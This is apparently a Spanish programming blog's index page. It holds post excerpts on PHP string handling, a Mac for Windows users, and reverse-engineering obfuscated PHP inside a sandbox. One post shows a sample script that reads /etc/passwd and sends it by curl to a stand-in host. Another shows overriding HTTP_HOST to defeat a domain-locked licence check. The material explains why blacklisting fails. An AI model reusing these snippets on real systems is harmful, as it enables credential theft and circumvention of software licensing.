PHP: Programación funcional II : Operaciones sobre cadenas

Hoy he tenido que hacer bastantes conversiones de base64 y me he hecho un pequeño .bat usando PHP para solventar el tema:

base64_decode.bat  
@echo off  
@%~dp0\php.exe -r"$data = base64_decode('%1'); $data_hex = unpack('H*', $data); echo 'HEX:\'', strtoupper(implode(' ', str_split($data_hex[1], 2))), \"'\n\"; echo 'BIN:\'', $data, \"'\n\";"
C:\>base64_decode SG9sYSBtdW5kbw==  
HEX:'48 6F 6C 61 20 6D 75 6E 64 6F'  
BIN:'Hola mundo'

El caso es que la última vez que escribí sobre programación funcional en php, no me había planteado en usarlo con cadenas nunca.

Como las funciones array_map, array_filter, array_reduce y similares trabajan con arrays, no se pueden aplicar a cadenas directamente.

Ahí es donde entra en juego la función str_split.
Para poder utilizar cadenas con las funciones de arrays, hay que convertir la cadena en un array primero. Con str_split se puede colocar grupos de caracteres de una cadena en un array.
Luego mediante la función implode podemos juntar el array resultante de la forma que nos interese.

Separar caracteres de dos en dos dejando un espacio entre ellos.

php -r"echo strtoupper(implode(' ', str_split('0102030405', 2)));"  
01 02 03 04 05  

Eliminar caracteres no imprimibles de una salida.

php -r"echo implode('', array_filter(str_split(\"Hello world\1\2\3\x10\x19test\", 1), 'ctype_print'));"  
Hello worldtest  

Reemplazar caracteres no imprimibles por otro caracter (‘?’) en una salida :

php -r"echo implode('', array_map(function($v) { return ctype_print($v) ? $v : '?'; }, str_split(\"Hello world\1\2\3\x10\x19test\", 1)));"  
Hello world?????test  

Leer más...

Mac desde Windows

Este post lo iré actualizando poco a poco.

Recientemente he adquirido un Mac Mini. Voy a aprovechar que no tengo ni idea, para intentar dar algo de luz a base de mi tiempo perdido a las personas que vengan de Windows.

Aquí iré colocando cosas interesantes que descubra de Mac (tanto a nivel de software como de hardware) yo que he usado toda la vida Windows.

Hardware

Ratón de cable

El cable del ratón se me antojaba corto. Hasta que descubrí que el teclado tenía un par de conectores USB en los laterales.
Pulsase donde pulsase en el ratón era como hacer click izquierdo, para hacer click derecho tenía que pulsar la tecla “ctrl”. Hasta que descubrí que en opciones puedes configurar el uso de cada uno de los botones del ratón. Cambiar la velocidad y permitir scroll con la rueda de 360º.

Teclado de cable

El teclado tiene dos conectores usb laterales además de un alargador.

Software

Mac ports

Necesitaba instalar la utilidad “lzma”.

sudo port install lzma

Codecs

Codecs tradicionales + WMA y WMV.

Leer más...

Pruebecita de fuegos artificiales en flash

Anoche hice un pequeño prototipo de simulador (con sus fallos y sin ser todavía todo lo rápido que debería) de fuegos artificiales usando flash para una cosa que quiero hacer. Y ya puestos me gustaría enseñarlo y comentar algunas cosas que considero interesantes.

Explicación y demo en flash tras el salto.

Leer más...

Protecciones en PHP y utilidad de SandBox (II)

En el post anterior hablé sobre protecciones en PHP y una utilidad de SandBox que monté. Sin embargo me dejé algunas cosas en el tintero que me gustaría comentar ahora.

En PHP hay dos extensiones interesantes relacionadas con este tema: Parsekit y runkit.

La extensión parsekit nos permite obtener los opcodes que se obtendrían al compilar un archivo PHP. En mi caso la he utilizado en alguna ocasión para medir la calidad del código generado a nivel de opcode. Todavía tengo que verificar si permite cargar archivos ya compilado.

La extensión runkit nos permite cambiar elementos en tiempo de ejecución: eliminar, añadir y modificar constantes, funciones y métodos. También permite configurar el allow_url_fopen, permitir eval y el blacklisting de funciones y clases.

Y ahí era donde quería yo llegar: la inseguridad del blacklisting.

  • El blacklist consiste en eliminar unos elementos concretos de la lista considerando esos elementos como inseguros y el resto como seguros. (Menos restrictivo)
  • El whitelist consiste en permitir solo los elementos que consideras seguros. (Más restrictivo)

Me he encontrado con gente que cree que el allow_url_fopen de PHP impide que se pueda acceder a contenido remoto y que no se podía acceder a la red con esa configuración deshabilitada. Sí, sí que se puede.

Imaginemos que un script que estamos intentando ejecutar hiciese algo así:

// With allow_fopen = Off and curl or other extensions.  
if ($_SERVER['HTTP_HOST'] != 'localhost') {  
    $passwd = file_get_contents('/etc/passwd');  
    curl_exec(curl_init("http://recvhost/" . http_build_query('passwd' => $passwd)));  
}  

Quien dice hacer eso, dice hacer otro tipo de cosas.

Puedes bloquear todas las funciones que se te ocurran, todas las clases que se te ocurran, que con que haya una extensión que no recuerdes o con que haya una nueva versión de PHP que incluya una serie de funciones nuevas que haga IO directo o indiercto, “l’has cagao”. El blacklisting hace que la actualización de los sistemas se vuelva un queso gruller de la seguridad.

En este caso la extensión runkit no nos podría ayudar a evitar código malintencionado mientras estamos haciendo pruebas. Podemos reescribir funciones, y bloquear todas las funciones que quieras, que como haya alguna que se te haya colado o se te cuele en un futuro estás en peligro haciendo estas cosas u otras. Lo mismo se podría de decir de sistemas de templates que te permiten ejecutar cualquier función o se limitan por blacklisting. Siempre whitelisting.

Hay otra forma de modificar funciones ya escritas a partir de PHP 5.3 en un contexto concreto. Y consiste en usar namespaces.

namespace test;  

function sort(&$a) {  
    \rsort($a);  
}  

function str_replace($a, $b, $c) {  
    return \str_replace(' ', '_', \str_replace($b, $a, $c));  
}  

$a = array(1,2,3,4);  
sort($a);  
echo str_replace('a', 'b', "hola, esto es una prueba\n");  
print_r($a);  

Por supuesto, esto es equivalente al blacklisting y hay que añadir lo del namespace en cada archivo (incluso en los eval dentro de archivos con namespaces). Modificando el archivo original cuando en el caso que comenté en el archivo anterior no convenía hacerlo porque se leía para extraer la información.

En otro post ya explicaré cómo usar la extensión v8js, envío de cabeceras personalizadas y cookies para saltarse ciertas protecciones hechas en javascript en los navegadores a la hora de hacer spiders o downloaders. También explicaré algunos problemas de captchas y cómo saltárselos y cómo funcionan algunos OCRs para captchas.

En el post anterior se me olvidó embeber un ejemplo de código del Sandboxer que monté que permite definir whitelisting y redefinir las funciones que interesen (como fopen para habilitar solo lectura):

$sandboxer = new Sandboxer();  
$sandboxer->registerErrorHandlers();  
$sandboxer->register('base64_decode');  
$sandboxer->register('urldecode');  
$sandboxer->register('fopen', function($name, $type) {  
    if ($type != 'rb') throw(new SandboxerException("Unexpected fopen type"));  
    return fopen($name, 'rb');  
});  
$sandboxer->register('fread');  
$sandboxer->register('fclose');  
$sandboxer->register('strtr');  
$sandboxer->register('preg_match');  
$sandboxer->register('str_replace');  
$sandboxer->register('die', function($v) {  
    die($v);  
});  

try {  
    $sandboxer->execute_file($file_to_execute);  
} catch (SandboxerException $e) {  
    printf("Exception: %s\n", $e->getMessage());  
}  

echo '<' . '?php ' . $sandboxer->unprocessed_code;  

Comentar que el fopen modificado para ser seguro del todo debería verificar que no se usasen wrappers (tipo http:// y similares). En mi caso no me hizo falta porque estuve ejecutando el código en una máquina virtual desconectada de Internet. Siendo una máquina virtual tampoco se habría acabado el mundo si se hubiese escrito algún archivo, pero me habría hecho perder tiempo restaurándola.

Leer más...

Protecciones en PHP y utilidad de SandBox

Recientemente ha llegado a mis manos un script en PHP que estaba protegido.
Las protecciones típicas que se ven en los PHP son dos:

  • PHP compilado en opcodes (y para los que hay que usar un acelerador que soporte carga de archivos compilados)
  • Código PHP ofuscado de alguna forma. Mediante urldecode, base64_decode, evals…

La primera protección se puede saltar con algún decompilador de opcodes para PHP. No estoy muy puesto, pero seguro que hay alguno. Y de hecho hay extensiones que te permiten ver los opcodes para un código PHP. Por ejemplo la parsekit (aunque en este caso no estoy seguro si permite cargar PHPs ya compilados). Para lenguajes como java, .net o flash hay algunos programitas para convertir los opcodes en código de alto nivel recompilable: JD (Java Decompiler), .NET Reflector, Sothink SWF Decompiler.

La segunda protección impide que los aceleradores cacheen el código por lo que acaba ralentizando la aplicación. Hay diversas formas de obtener el código final. Posiblemente la más sencilla sea con un debugger. Sin embargo yo quería probar una que no requisiese ningún debugger y que se pudiese automatizar de alguna forma.

Hace ya varios años estuve experimentando con formas de ejecutar PHP de forma segura. Es decir, PHP tiene un montón de APIs, permite hacer llamadas a funciones dinámicas mediante $var()…

La forma de hacer eso es llamando a una función proxy que se encargase de llamar a las funciones que tocase o a funciones personalizadas, stub o mockeadas. La función call_user_func_array permite llamar a cualquier función con parámetros variables.

El caso concreto:

No me podía fiar del script que quería desproteger. Lo primero es establecer un entorno de pruebas donde no se pueda romper nada. Un script malintencionado podría borrar algún archivo importante, extraer información o hacer otras cosas si detectase que estás intentando desprotegerlo. Para hacer esto basta con montarse una máquina virtual que no esté conectada a Internet y hacer las pruebas ahí sin peligro alguno.

El segundo paso era montar el sandbox que comentaba antes. Monté poco a poco un sistema que reescribía el código haciendo que las llamadas pasasen por una función hook y limitando su uso conforme veía las funciones que utilizaba.

El script en cuestión usaba urlencode, base64_decode y eval. Además de variables con nombres parecidos para despistar.

Con el sandboxer que monté hookeé las funciones a las que llamaba estática y dinámicamente. La función eval tiene la particularidad de que se ejecuta con el mismo contexto de variables locales que el callee. Como el sistema hace que se ejecute todo en un contexto diferente, tuve que hacer que el sandboxer capturase las variables locales cuando se llamaba a un eval (con la limitación de llamadas estáticas a eval). Esto lo hago mediante la función get_defined_vars, y para reimportar el contexto basta con usar la función extract.

El script requería que estuviese el archivo sin modificaciones y leía parte de su contenido en direcciones y longitudes fijas. Además utilizaba FILE para saber el nombre y la ruta del archivo al que se quería acceder. Como el código se ejecutaba desde un eval, FILE ya no funcionaba correctamente, así que hice que el código encargado de reescribir el código en sandbox, reemplazase los FILE por el fichero original que se esperaba ejecutar.

Como el script utilizaba la función fopen y no podía saber si se iba a usar varias veces hookeé dicha función y limite su uso a read-only para evitar que escribiese en ningún sitio. Como tampoco había Internet donde mandar datos, no había peligro.

En cada llamada a funciones y ejecución de evals reescritos, iba dumpeando el contenido de los parámetros en las llamadas. En algún eval tendría que estar el código “final” encriptado que hacía lo que se esperaba.

El script tenía además una protección por dominio. Usando $_SERVER[‘HTTP_HOST’] y una expresión regular para limitar la ejecución a un dominio y subdominios. Por cierto, una forma absurda de proteger, pues se puede saltar así de fácil:

$original_host = $_SERVER['HTTP_HOST'];  
$_SERVER['HTTP_HOST'] = 'expectedhost.com';  
{  
    require_once(__DIR__ . "/file.php");  
}  
$_SERVER['HTTP_HOST'] = $original_host;  

Al final mostrando las salidas, y de forma completamente automática, en el último paso se podía observar el código que se había intentado proteger con tanto empeño.
Conclusión: Este tipo de protecciones son muy fáciles de romper y lo único que hacen son ralentizar la ejecución de los scripts.

Código fuente medio genérico del PHP Sandboxer que monté: http://code.google.com/p/phplutils/source/browse/trunk/php_sandboxer.php

Leer más...

Suscribirse via RSS